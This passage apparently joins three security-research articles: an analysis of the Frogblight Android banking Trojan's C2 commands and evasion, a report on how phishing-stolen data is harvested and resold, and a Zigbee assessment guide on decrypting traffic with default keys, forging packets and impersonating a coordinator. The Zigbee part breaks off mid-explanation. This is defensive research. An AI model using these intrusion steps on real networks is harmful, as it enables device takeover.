ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updateDevice
Send information about the device
device_id: unique Android device ID
model: device manufacturer and model
android_version: Android version
phone_number: user phone number
battery: current battery level
charging: device charging status
screen_status: screen on/off
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updatePermissionStatus
Send information about permissions
device_id: unique Android device ID
permission_type: permission type
status: permission status
timestamp: current time
uploadBatchThumbnails
Upload thumbnails to the C2
device_id: unique Android device ID
thumbnails: thumbnails
uploadFile
Upload a file to the C2
device_id: unique Android device ID
file_path: file path
download_id: the file ID on the C2
The file itself is sent as an unnamed parameter
uploadFileList
Send information about all files in the target directory
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadFileListLog
Send information about all files in the target directory to an endpoint different from uploadFileList
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadThumbnailLog
Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails
device_id: unique Android device ID
thumbnails: thumbnails
Remote device control, persistence, and protection against deletion
The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.
capcuttup.refresh.AccessibilityAutoClickService
This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
capcuttup.refresh.PersistentService
This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
capcuttup.refresh.BootReceiver
This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.
Further development
In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).
In this sample, new REST API client methods have been added for interacting with the C2.
REST API client method
Description
Parameters
getContactCommands
Get commands to perform actions with contacts
Available commands:
● ADD_CONTACT: add a contact to the user device
● DELETE_CONTACT: delete a contact from the user device
● EDIT_CONTACT: edit a contact on the user device
device_id: unique Android device ID
sendCallLogs
Send call logs to the C2
device_id: unique Android device ID
call_logs: call log data
sendNotificationLogs
Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method
action: same as the API method name
notifications: notification log data
Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.
Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.
Part of the code responsible for avoiding Frogblight running in an undesirable environment
Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:
It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:
Command
Description
Parameters
connect
Send a registration message to the C2
–
connection_success
Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands
–
auth_error
Log info about an invalid login key to the Android log system
–
pong_device
Does nothing
–
commands_list
Execute commands
List of commands
sms_send_command
Send an arbitrary SMS message
recipient: message destination
message: message text
msg_id: message ID
bulk_sms_command
Send an arbitrary SMS message to multiple recipients
recipients: message destinations
message: message text
get_contacts_command
Send all contacts to the C2
–
get_app_list_command
Send information about the apps installed on the device to the C2
–
get_files_command
Send information about all files in certain directories to the C2
–
get_call_logs_command
Send call logs to the C2
–
get_notifications_command
Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
take_screenshot_command
Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
update_device
Send registration message to the C2
–
new_webview_data
Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
new_injection
Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
code: injected code
target_app: presumably the package name of the target app
add_contact_command
Add a contact to the user device
name: contact name
phone: contact phone
email: contact email
contact_add
Add a contact to the user device
display_name: contact name
phone_number: contact phone
email: contact email
contact_delete
Delete a contact from the user device
phone_number: contact phone
contact_edit
Edit a contact on the user device
display_name: new contact name
phone_number: contact phone
email: new contact email
contact_list
Send all contacts to the C2
–
file_list
Send information about all files in the specified directory to the C2
path: directory path
file_download
Upload the specified file to the C2
file_path: file path
download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail
Generate a thumbnail from the target image file and upload it to the C2
file_path: image file path
file_thumbnails
Generate thumbnails from the image files in the target directory and upload them to the C2
folder_path: directory path
health_check
Send information about the current device state: battery level, screen state, and so on
–
message_list_request
Send all SMS messages to the C2
–
notification_send
Show an arbitrary notification
title: notification title
message: notification message
app_name: notification subtext
package_list_response
Save the target package names
packages: a list of all target package names.
Each list element contains:
package_name: target package name
active: whether targeting is active
delete_contact_command
Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
contact_id: contact ID
name: contact name
file_upload_command
Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_path: file path
file_name: file name
file_download_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: download path
download_file_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: downloading path
get_permissions_command
Send a registration message to the C2, including info about specific permissions
–
health_check_command
Send information about the current device state, such as battery level, screen state, and so on
–
connect_error
Log info about connection errors to the Android log system
A list of errors
reconnect
Send a registration message to the C2
–
disconnect
Stop pinging the C2 and requesting commands from it
–
Authentication via WebSocket takes place using a special key.
The part of the code responsible for the WebSocket authentication logic
At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.
The interface of the sign-in screen for the Frogblight web panel
Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.
Victims
Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.
Attribution
Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.
GitHub repositories containing Frogblight and Coper malware
Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.
Conclusions
The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.
A typical phishing attack involves a user clicking a fraudulent link and entering their credentials on a scam website. However, the attack is far from over at that point. The moment the confidential information falls into the hands of cybercriminals, it immediately transforms into a commodity and enters the shadow market conveyor belt.
In this article, we trace the path of the stolen data, starting from its collection through various tools – such as Telegram bots and advanced administration panels – to the sale of that data and its subsequent reuse in new attacks. We examine how a once leaked username and password become part of a massive digital dossier and why cybercriminals can leverage even old leaks for targeted attacks, sometimes years after the initial data breach.
Data harvesting mechanisms in phishing attacks
Before we trace the subsequent fate of the stolen data, we need to understand exactly how it leaves the phishing page and reaches the cybercriminals.
By analyzing real-world phishing pages, we have identified the most common methods for data transmission:
Send to an email address.
Send to a Telegram bot.
Upload to an administration panel.
It also bears mentioning that attackers may use legitimate services for data harvesting to make their server harder to detect. Examples include online form services like Google Forms, Microsoft Forms, etc. Stolen data repositories can also be set up on GitHub, Discord servers, and other websites. For the purposes of this analysis, however, we will focus on the primary methods of data harvesting.
Email
Data entered into an HTML form on a phishing page is sent to the cybercriminal’s server via a PHP script, which then forwards it to an email address controlled by the attacker. However, this method is becoming less common due to several limitations of email services, such as delivery delays, the risk of the hosting provider blocking the sending server, and the inconvenience of processing large volumes of data.
As an example, let’s look at a phishing kit targeting DHL users.
Phishing kit contents
The index.php file contains the phishing form designed to harvest user data – in this case, an email address and a password.
Phishing form imitating the DHL website
The data that the victim enters into this form is then sent via a script in the next.php file to the email address specified within the mail.php file.
Contents of the PHP scripts
Telegram bots
Unlike the previous method, the script used to send stolen data specifies a Telegram API URL with a bot token and the corresponding Chat ID, rather than an email address. In some cases, the link is hard-coded directly into the phishing HTML form. Attackers create a detailed message template that is sent to the bot after a successful attack. Here is what this looks like in the code:
Code snippet for data submission
Compared to sending data via email, using Telegram bots provides phishers with enhanced functionality, which is why they are increasingly adopting this method. Data arrives in the bot in real time, with instant notification to the operator. Attackers often use disposable bots, which are harder to track and block. Furthermore, their performance does not depend on the quality of phishing page hosting.
Automated administration panels
More sophisticated cybercriminals use specialized software, including commercial frameworks like BulletProofLink and Caffeine, often as a Platform as a Service (PaaS). These frameworks provide a web interface (dashboard) for managing phishing campaigns.
Data harvested from all phishing pages controlled by the attacker is fed into a unified database that can be viewed and managed through their account.
Sending data to the administration panel
These admin panels are used for analyzing and processing victim data. The features of a specific panel depend on the available customization options, but most dashboards typically have the following capabilities:
Sorting of real-time statistics: the ability to view the number of successful attacks by time and country, along with data filtering options
Automatic verification: some systems can automatically check the validity of the stolen data like credit cards and login credentials
Data export: the ability to download the data in various formats for future use or sale
Example of an administration panel
Admin panels are a vital tool for organized cybercriminals.
One campaign often employs several of these data harvesting methods simultaneously.
Sending stolen data to both an email address and a Telegram bot
The data cybercriminals want
The data harvested during a phishing attack varies in value and purpose. In the hands of cybercriminals, it becomes a method of profit and a tool for complex, multi-stage attacks.
Stolen data can be divided into the following categories, based on its intended purpose:
Immediate monetization: the direct sale of large volumes of raw data or the immediate withdrawal of funds from a victim’s bank account or online wallet.
Banking details: card number, expiration date, cardholder name, and CVV/CVC.
Access to online banking accounts and digital wallets: logins, passwords, and one-time 2FA codes.
Accounts with linked banking details: logins and passwords for accounts that contain bank card details, such as online stores, subscription services, or payment systems like Apple Pay or Google Pay.
Subsequent attacks for further monetization: using the stolen data to conduct new attacks and generate further profit.
Credentials for various online accounts: logins and passwords. Importantly, email addresses or phone numbers, which are often used as logins, can hold value for attackers even without the accompanying passwords.
Phone numbers, used for phone scams, including attempts to obtain 2FA codes, and for phishing via messaging apps.
Personal data: full name, date of birth, and address, abused in social engineering attacks
Targeted attacks, blackmail, identity theft, and deepfakes.
Biometric data: voice and facial projections.
Scans and numbers of personal documents: passports, driver’s licenses, social security cards, and taxpayer IDs.
Selfies with documents, used for online loan applications and identity verification.
Corporate accounts, used for targeted attacks on businesses.
We analyzed phishing and scam attacks conducted from January through September 2025 to determine which data was most frequently targeted by cybercriminals. We found that 88.5% of attacks aimed to steal credentials for various online accounts, 9.5% targeted personal data (name, address, and date of birth), and 2% focused on stealing bank card details.
Distribution of attacks by target data type, January–September 2025 (download)
Selling data on dark web markets
Except for real-time attacks or those aimed at immediate monetization, stolen data is typically not used instantly. Let’s take a closer look at the route it takes.
Sale of data dumps Data is consolidated and put up for sale on dark web markets in the form of dumps: archives that contain millions of records obtained from various phishing attacks and data breaches. A dump can be offered for as little as $50. The primary buyers are often not active scammers but rather dark market analysts, the next link in the supply chain.
Sorting and verification Dark market analysts filter the data by type (email accounts, phone numbers, banking details, etc.) and then run automated scripts to verify it. This checks validity and reuse potential, for example, whether a Facebook login and password can be used to sign in to Steam or Gmail. Data stolen from one service several years ago can still be relevant for another service today because people tend to use identical passwords across multiple websites. Verified accounts with an active login and password command a higher price at the point of sale.
Analysts also focus on combining user data from different attacks. Thus, an old password from a compromised social media site, a login and password from a phishing form mimicking an e-government portal, and a phone number left on a scam site can all be compiled into a single digital dossier on a specific user.
Selling on specialized markets Stolen data is typically sold on dark web forums and via Telegram. The instant messaging app is often used as a storefront to display prices, buyer reviews, and other details.
Offers of social media data, as displayed in Telegram
The prices of accounts can vary significantly and depend on many factors, such as account age, balance, linked payment methods (bank cards, online wallets), 2FA authentication, and service popularity. Thus, an online store account may be more expensive if it is linked to an email, has 2FA enabled, and has a long history, with a large number of completed orders. For gaming accounts, such as Steam, expensive game purchases are a factor. Online banking data sells at a premium if the victim has a high account balance and the bank itself has a good reputation.
The table below shows prices for various types of accounts found on dark web forums as of 2025*.
Category
Price
Average price
Crypto platforms
$60–$400
$105
Banks
$70–$2000
$350
E-government portals
$15–$2000
$82.5
Social media
$0.4–$279
$3
Messaging apps
$0.065–$150
$2.5
Online stores
$10–$50
$20
Games and gaming platforms
$1–$50
$6
Global internet portals
$0.2–$2
$0.9
Personal documents
$0.5–$125
$15
*Data provided by Kaspersky Digital Footprint Intelligence
High-value target selection and targeted attacks
Cybercriminals take particular interest in valuable targets. These are users who have access to important information: senior executives, accountants, or IT systems administrators.
Let’s break down a possible scenario for a targeted whaling attack. A breach at Company A exposes data associated with a user who was once employed there but now holds an executive position at Company B. The attackers analyze open-source intelligence (OSINT) to determine the user’s current employer (Company B). Next, they craft a sophisticated phishing email to the target, purportedly from the CEO of Company B. To build trust, the email references some facts from the target’s old job – though other scenarios exist too. By disarming the user’s vigilance, cybercriminals gain the ability to compromise Company B for a further attack.
Importantly, these targeted attacks are not limited to the corporate sector. Attackers may also be drawn to an individual with a large bank account balance or someone who possesses important personal documents, such as those required for a microloan application.
Takeaways
The journey of stolen data is like a well-oiled conveyor belt, where every piece of information becomes a commodity with a specific price tag. Today, phishing attacks leverage diverse systems for harvesting and analyzing confidential information. Data flows instantly into Telegram bots and attackers’ administration panels, where it is then sorted, verified, and monetized.
It is crucial to understand that data, once lost, does not simply vanish. It is accumulated, consolidated, and can be used against the victim months or even years later, transforming into a tool for targeted attacks, blackmail, or identity theft. In the modern cyber-environment, caution, the use of unique passwords, multi-factor authentication, and regular monitoring of your digital footprint are no longer just recommendations – they are a necessity.
What to do if you become a victim of phishing
If a bank card you hold has been compromised, call your bank as soon as possible and have the card blocked.
If your credentials have been stolen, immediately change the password for the compromised account and any online services where you may have used the same or a similar password. Set a unique password for every account.
Enable multi-factor authentication in all accounts that support this.
Check the sign-in history for your accounts and terminate any suspicious sessions.
If your messaging service or social media account has been compromised, alert your family and friends about potential fraudulent messages sent in your name.
Use specialized services to check if your data has been found in known data breaches.
Treat any unexpected emails, calls, or offers with extreme vigilance – they may appear credible because attackers are using your compromised data.
We all encounter IoT and home automation in some form or another, from smart speakers to automated sensors that control water pumps. These services appear simple and straightforward to us, but many devices and protocols work together under the hood to deliver them.
One of those protocols is Zigbee. Zigbee is a low-power wireless protocol (based on IEEE 802.15.4) used by many smart devices to talk to each other. It’s common in homes, but is also used in industrial environments where hundreds or thousands of sensors may coordinate to support a process.
There are many guides online about performing security assessments of Zigbee. Most focus on the Zigbee you see in home setups. They often skip the Zigbee used at industrial sites, what I call ‘non-public’ or ‘industrial’ Zigbee.
In this blog, I will take you on a journey through Zigbee assessments. I’ll explain the basics of the protocol and map the attack surface likely to be found in deployments. I’ll also walk you through two realistic attack vectors that you might see in facilities, covering the technical details and common problems that show up in assessments. Finally, I will present practical ways to address these problems.
Zigbee introduction
Protocol overview
Zigbee is a wireless communication protocol designed for low-power applications in wireless sensor networks. Based on the IEEE 802.15.4 standard, it was created for short-range and low-power communication. Zigbee supports mesh networking, meaning devices can connect through each other to extend the network range. It operates on the 2.4 GHz frequency band and is widely used in smart homes, industrial automation, energy monitoring, and many other applications.
You may be wondering why there’s a need for Zigbee when Wi-Fi is everywhere? The answer depends on the application. In most home setups, Wi-Fi works well for connecting devices. But imagine you have a battery-powered sensor that isn’t connected to your home’s electricity. If it used Wi-Fi, its battery would drain quickly – maybe in just a few days – because Wi-Fi consumes much more power. In contrast, the Zigbee protocol allows for months or even years of uninterrupted work.
Now imagine an even more extreme case. You need to place sensors in a radiation zone where humans can’t go. You drop the sensors from a helicopter and they need to operate for months without a battery replacement. In this situation, power consumption becomes the top priority. Wi-Fi wouldn’t work, but Zigbee is built exactly for this kind of scenario.
Also, Zigbee has a big advantage if the area is very large, covering thousands of square meters and requiring thousands of sensors: it supports thousands of nodes in a mesh network, while Wi-Fi is usually limited to hundreds at most.
There are lots more ins and outs, but these are the main reasons Zigbee is preferred for large-scale, low-power sensor networks.
Since both Zigbee and IEEE 802.15.4 define wireless communication, many people confuse the two. The difference between them, to put it simply, concerns the layers they support. IEEE 802.15.4 defines the physical (PHY) and media access control (MAC) layers, which basically determine how devices send and receive data over the air. Zigbee (as well as other protocols like Thread, WirelessHART, 6LoWPAN, and MiWi) builds on IEEE 802.15.4 by adding the network and application layers that define how devices form a network and communicate.
Zigbee operates in the 2.4 GHz wireless band, which it shares with Wi-Fi and Bluetooth. The Zigbee band includes 16 channels, each with a 2 MHz bandwidth and a 5 MHz gap between channels.
This shared frequency means Zigbee networks can sometimes face interference from Wi-Fi or Bluetooth devices. However, Zigbee’s low power and adaptive channel selection help minimize these conflicts.
Devices and network
There are three main types of Zigbee devices, each of which plays a different role in the network.
Zigbee coordinator
The coordinator is the brain of the Zigbee network. A Zigbee network is always started by a coordinator and can only contain one coordinator, which has the fixed address 0x0000.
It performs several key tasks:
Starts and manages the Zigbee network.
Chooses the Zigbee channel.
Assigns addresses to other devices.
Stores network information.
Chooses the PAN ID: a 2-byte identifier (for example, 0x1234) that uniquely identifies the network.
Sets the Extended PAN ID: an 8-byte value, often an ASCII name representing the network.
The coordinator can have child devices, which can be either Zigbee routers or Zigbee end devices.
Zigbee router
The router works just like a router in a traditional network: it forwards data between devices, extends the network range and can also accept child devices, which are usually Zigbee end devices.
Routers are crucial for building large mesh networks because they enable communication between distant nodes by passing data through multiple hops.
Zigbee end device
The end device, also referred to as a Zigbee endpoint, is the simplest and most power-efficient type of Zigbee device. It only communicates with its parent, either a coordinator or router, and sleeps most of the time to conserve power. Common examples include sensors, remotes, and buttons.
Zigbee end devices do not accept child devices unless they are configured as both a router and an endpoint simultaneously.
Each of these device types, also known as Zigbee nodes, has two types of address:
Short address: two bytes long, similar to an IP address in a TCP/IP network.
Extended address: eight bytes long, similar to a MAC address.
Both addresses can be used in the MAC and network layers, unlike in TCP/IP, where the MAC address is used only in Layer 2 and the IP address in Layer 3.
Zigbee setup
Zigbee has many attack surfaces, such as protocol fuzzing and low-level radio attacks. In this post, however, I’ll focus on application-level attacks. Our test setup uses two attack vectors and is intentionally small to make the concepts clear.
In our setup, a Zigbee coordinator is connected to a single device that functions as both a Zigbee endpoint and a router. The coordinator also has other interfaces (Ethernet, Bluetooth, Wi-Fi, LTE), while the endpoint has a relay attached that the coordinator can switch on or off over Zigbee. This relay can be triggered by events coming from any interface, for example, a Bluetooth command or an Ethernet message.
Our goal will be to take control of the relay and toggle its state (turn it off and on) using only the Zigbee interface. Because the other interfaces (Ethernet, Bluetooth, Wi-Fi, LTE) are out of scope, the attack must work by hijacking Zigbee communication.
For the purposes of this research, we will attempt to hijack the communication between the endpoint and the coordinator. The two attack vectors we will test are:
Spoofed packet injection: sending forged Zigbee commands made to look like they come from the coordinator to trigger the relay.
Coordinator impersonation (rejoin attack): impersonating the legitimate coordinator to trick the endpoint into joining the attacker-controlled coordinator and controlling it directly.
Spoofed packet injection
In this scenario, we assume the Zigbee network is already up and running and that both the coordinator and endpoint nodes are working normally. The coordinator has additional interfaces, such as Ethernet, and the system uses those interfaces to trigger the relay. For instance, a command comes in over Ethernet and the coordinator sends a Zigbee command to the endpoint to toggle the relay. Our goal is to toggle the relay by injecting simulated legitimate Zigbee packets, using only the Zigbee link.
Sniffing
The first step in any radio assessment is to sniff the wireless traffic so we can learn how the devices talk. For Zigbee, a common and simple tool is the nRF52840 USB dongle by Nordic Semiconductor. With the official nRF Sniffer for 802.15.4 firmware, the dongle can run in promiscuous mode to capture all 802.15.4/Zigbee traffic. Those captures can be opened in Wireshark with the appropriate dissector to inspect the frames.
How do you find the channel that’s in use?
Zigbee runs on one of the 16 channels that we mentioned earlier, so we must set the sniffer to the same channel that the network uses. One practical way to scan the channels is to change the sniffer channel manually in Wireshark and watch for Zigbee traffic. When we see traffic, we know we’ve found the right channel.
After selecting the channel, we will be able to see the communication between the endpoint and the coordinator, though it will most likely be encrypted:
In the “Info” column, we can see that Wireshark only identifies packets as Data or Command without specifying their exact type, and that’s because the traffic is encrypted.
Even when Zigbee payloads are encrypted, the network and MAC headers remain visible. That means we can usually read things like source and destination addresses, PAN ID, short and extended MAC addresses, and frame control fields. The application payload (i.e., the actual command to toggle the relay) is typically encrypted at the Zigbee network/application layer, so we won’t see it in clear text without encryption keys. Nevertheless, we can still learn enough from the headers.
Decryption
Zigbee supports several key types and encryption models. In this post, we’ll keep it simple and look at a case involving only two security-related devices: a Zigbee coordinator and a device that is both an endpoint and a router. That way, we’ll only use a network encryption model, whereas with, say, mesh networks there can be various encryption models in use.
The network encryption model is a common concept. The traffic that we sniffed earlier is typically encrypted using the network key. This key is a symmetric AES-128 key shared by all devices in a Zigbee network. It protects network-layer packets (hop-by-hop) such as routing and broadcast packets. Because every router on the path shares the network key, this encryption method is not considered end-to-end.
Depending on the specific implementation, Zigbee can use two approaches for application payloads:
Network-layer encryption (hop-by-hop): the network key encrypts the Application Support Sublayer (APS) data, the sublayer of the application layer in Zigbee. In this case, each router along the route can decrypt the APS payload. This is not end-to-end encryption, so it is not recommended for transmitting sensitive data.
Link key (end-to-end) encryption: a link key, which is also an AES-128 key, is shared between two devices (for example, the coordinator and an endpoint).
The link key provides end-to-end protection of the APS payload between the two devices.
Because the network key could allow an attacker to read and forge many types of network traffic, it must be random and protected. Exposing the key effectively compromises the entire network.
When a new device joins, the coordinator (Trust Center) delivers the network key using a Transport Key command. That transport packet must be protected by a link key so the network key is not exposed in clear text. The link key authenticates the joining device and protects the key delivery.
The image below shows the transport packet:
There are two common ways link keys are provided:
Pre-installed: the device ships with an installation code or link key already set.
Key establishment: the device runs a key-establishment protocol.
A common historical problem is the global default Trust Center link key, “ZigBeeAlliance09”. It was included in early versions of Zigbee (pre-3.0) to facilitate testing and interoperability. However, many vendors left it enabled on consumer devices, and that has caused major security issues. If an attacker knows this key, they can join devices and read or steal the network key.
Newer versions – Zigbee 3.0 and later – introduced installation codes and procedures to derive unique link keys for each device. An installation code is usually a factory-assigned secret (often encoded on the device label) that the Trust Center uses to derive a unique link key for the device in question. This helps avoid the problems caused by a single hard-coded global key.
Unfortunately, many manufacturers still ignore these best practices. During real assessments, we often encounter devices that use default or hard-coded keys.
How can these keys be obtained?
If an endpoint has already joined the network and communicates with the coordinator using the network key, there are two main options for decrypting traffic:
Guess or brute-force the network key. This is usually impractical because a properly generated network key is a random AES-128 key.
Force the device to rejoin and capture the transport key. If we can make the endpoint leave the network and then rejoin, the coordinator will send the transport key. Capturing that packet can reveal the network key, but the transport key itself is protected by the link key. Therefore, we still need the link key.
To obtain the network and link keys, many approaches can be used:
The well-known default link key, ZigBeeAlliance09. Many legacy devices still use it.
Identify the device manufacturer and search for the default keys used by that vendor. We can find the manufacturer by:
Checking the device MAC/OUI (the first three bytes of the 64-bit extended address often map to a vendor).
Physically inspecting the device (label, model, chip markings).
Extract the firmware from the coordinator or device if we have physical access and search for hard-coded keys inside the firmware images.
Once we have the relevant keys, the decryption process is straightforward:
Open the capture in Wireshark.
Go to Edit -> Preferences -> Protocols -> Zigbee.
Add the network key and any link keys in our possession.
Wireshark will then show decrypted APS payloads and higher-level Zigbee packets.
After successful decryption, packet types and readable application commands will be visible, such as Link Status or on/off cluster commands:
Choose your gadget
Now that we can read and potentially decrypt traffic, we need hardware and software to inject packets over the Zigbee link between the coordinator and the endpoint. To keep this practical and simple, I opted for cheap, widely available tools that are easy to set up.
For the hardware, I used the nRF52840 USB dongle, the same device we used for sniffing. It’s inexpensive, easy to find, and supports IEEE 802.15.4/Zigbee, so it can sniff and transmit.
The dongle runs the firmware we can use. A good firmware platform is Zephyr RTOS. Zephyr has an IEEE 802.15.4 radio API that enables the device to receive raw frames, essentially enabling sniffer mode, as well as send raw frames as seen in the snippets below.
Using this API and other components, we created a transceiver implementation written in C, compiled it to firmware, and flashed it to the dongle. The firmware can expose a simple runtime interface, such as a USB serial port, which allows us to control the radio from a laptop.
At runtime, the dongle listens on the serial port (for example, /dev/ttyACM1). Using a script, we can send it raw bytes, which the firmware will pass to the radio API and transmit to the channel. The following is an example of a tiny Python script to open the serial port:
I used the Scapy tool with the 802.15.4/Zigbee extensions to build Zigbee packets. Scapy lets us assemble packets layer-by-layer – MAC → NWK → APS → ZCL – and then convert them to raw bytes to send to the dongle. We will talk about APS and ZCL in more detail later.
Here is an example of how we can use Scapy to craft an APS layer packet:
from scapy.layers.dot15d4 import Dot15d4, Dot15d4FCS, Dot15d4Data, Dot15d4Cmd, Dot15d4Beacon, Dot15d4CmdAssocResp
from scapy.layers.zigbee import ZigbeeNWK, ZigbeeAppDataPayload, ZigbeeSecurityHeader, ZigBeeBeacon, ZigbeeAppCommandPayload
Before sending, the packet must be properly encrypted and signed so the endpoint accepts it. That means applying AES-CCM (AES-128 with MIC) using the network key (or the correct link key) and adhering to Zigbee’s rules for packet encryption and MIC calculation. This is how we implemented the encryption and MIC in Python (using a cryptographic library) after building the Scapy packet. We then sent the final bytes to the dongle.
This is how we implemented the encryption and MIC:
Crafting the packet
Now that we know how to inject packets, the next question is what to inject. To toggle the relay, we simply need to send the same type of command that the coordinator already sends. The easiest way to find that command is to sniff the traffic and read the application payload. However, when we look at captures in Wireshark, we can see many packets under ZCL marked [Malformed Packet].
A “malformed” ZCL packet usually means Wireshark could not fully interpret the packet because the application layer is non-standard or lacks details Wireshark expects. To understand why this happens, let’s look at the Zigbee application layer.
Application Support Sublayer (APS): routes messages to the correct profile, endpoint, and cluster, and provides application-level security.
Application Framework (AF): contains the application objects that implement device functionality. These objects reside on endpoints (logical addresses 1–240) and expose clusters (sets of attributes and commands).
Zigbee Cluster Library (ZCL): defines standard clusters and commands so devices can interoperate.
Zigbee Device Object (ZDO): handles device discovery and management (out of scope for this post).
To make sense of application traffic, we must introduce three concepts:
Profile: a rulebook for how devices should behave for a specific use case. Public (standard) profiles are managed by the Connectivity Standards Alliance (CSA). Vendors can also create private profiles for proprietary features.
Cluster: a set of attributes and commands for a particular function. For example, the On/Off cluster contains On and Off commands and an OnOff attribute that displays the current state.
Endpoint: a logical “port” on the device where a profile and clusters reside. A device can host multiple endpoints for different functions.
Putting all this together, in the standard home automation traffic we see APS pointing to the home automation profile, the On/Off cluster, and a destination endpoint (for example, endpoint 1). In ZCL, the byte 0x00 often means “Off”.
In many industrial setups, vendors use private profiles or custom application frameworks. That’s why Wireshark can’t decode the packets; the AF payload is custom, so the dissector doesn’t know the format.
So how do we find the right bytes to toggle the switch when the application is private? Our strategy has two phases.
Passive phase
Sniff traffic while the system is driven legitimately. For example, trigger the relay from another interface (Ethernet or Bluetooth) and capture the Zigbee packets used to toggle the relay. If we can decrypt the captures, we can extract the application payload that correlates with the on/off action.
Active phase
With the legitimate payload at hand, we can now turn to creating our own packet. There are two ways to do that. First, we need to replay or duplicate the captured application payload exactly as it is. This works if there are no freshness checks like sequence numbers. Otherwise, we have to reverse-engineer the payload and adjust any counters or fields that prevent replay. For instance, many applications include an application-level counter. If the device ignores packets with a lower application counter, we must locate and increment that counter when we craft our packet.
Another important protective measure is the frame counter inside the Zigbee security header (in the network header security fields). The frame counter prevents replay attacks; the receiver expects the frame counter to increase with each new packet, and will reject packets with a lower or repeated counter.
So, in the active phase, we must:
Sniff the traffic until the coordinator sends a valid packet to the endpoint.
Decrypt the packet, extract the counters and increase them by one.
Build a packet with the correct APS/AF fields (profile, endpoint, cluster).
Include a valid ZCL command or the vendor-specific payload that we identified in the passive phase.
Encrypt and sign the packet with the correct network or link key.
Make sure both the application counter (if used) and the Zigbee frame counter are modified so the packet is accepted.
The whole strategy for this phase will look like this:
If all of the above are handled correctly, we will be able to hijack the Zigbee communication and toggle the relay (turn it off and on) using only the Zigbee link.
Coordinator impersonation (rejoin attack)
The goal of this attack vector is to force the Zigbee endpoint to leave its original coordinator’s network and join our spoofed network so that we can take control of the device. To do this, we must achieve two things:
Force the endpoint to leave the original network.
Spoof the original coordinator and trick the node into joining our fake coordinator.
Force leaving
To better understand how to manipulate endpoint connections, let’s first describe the concept of a beacon frame. Beacon frames are periodic announcements sent by a coordinator and by routers. They advertise the presence of a network and provide join information, such as:
PAN ID and Extended PAN ID
Coordinator address
Stack/profile information
Device capacity (for example, whether the coordinator can accept child devices)
When a device wants to join, it sends a beacon request across Zigbee channels and waits for beacon replies from nearby coordinators/routers. Even if the network is not beacon-enabled for regular synchronization, beacon frames are still used during the join/discovery process, so they are mandatory when a node tries to discover networks.
Note that beacon frames exist at both the Zigbee and IEEE 802.15.4 levels. The MAC layer carries the basic beacon structure that Zigbee then extends with network-specific fields.
